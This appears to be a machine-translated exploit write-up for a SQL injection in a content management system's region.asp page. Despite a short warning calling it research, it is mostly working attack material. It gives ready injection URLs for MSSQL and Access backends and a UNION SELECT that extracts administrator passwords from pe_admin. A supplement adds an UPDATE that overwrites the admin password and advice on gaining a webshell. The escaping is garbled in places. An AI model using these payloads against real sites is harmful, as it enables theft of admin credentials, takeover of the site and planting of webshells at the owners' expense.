|
Test method:
[Warning]
The following procedures (methods) may be offensive and are only for security research and teaching. You are at your own risk!
However, the prerequisite for this query is: Err = true or temprs. EOF, and to reach one of the two, it is to let Conn. execute (\\\ "select province from pe_province where country =\\\\ \" & Country \\\ "\\\ 'order by provinceid \\\") the country statement cannot be found in the table. The following code is used:
Http: // 127.0.0.1/region. asp? Country = TT & City = whytt & province = Shi \ '+ and + User> 0 --
In
Http: // 127.0.0.1/region. asp? Country = TT & City = whytt & province = Shi \\\ 'is followed by our SQL Injection statement.
This is the entire exploitation principle, which is simple, but also fatal.
The above is the use of the MSSQL version, but what if it is used in the access version,
You may think that I am talking nonsense.
Http: // 127.0.0.1/region. asp? Country = TT & City = whytt & province = Shi \\\ 'and 1 = 1 and \\\ '1 \\\' =\\ '1
In this case, and 1 = 1 is used in the access version. Haha. This completes the exploitation of this vulnerability in two versions.
Http: // 127.0.0.1/region. asp? Country = TT & City = whytt & province = Shi \ '+ and + 1 = 2 + Union + select
+ Password + from + pe_admin + where + 1 <2 + and + \\\ '1 \\\' =\\ '1
Here, username is a field for brute force attacks. Haha, it feels good to kill it.
By
Whytt
Supplement:
Update pe_admin set password =\\\ '13955235245b2497 \\\ 'where id = 2 --
If you cannot insert the administrator in the column directory, but I like to directly update the administrator password, get the shell and change it back, or add
If you can list directories, you can directly find the web directory, and then you can get webshell with Nb's getwebshell. |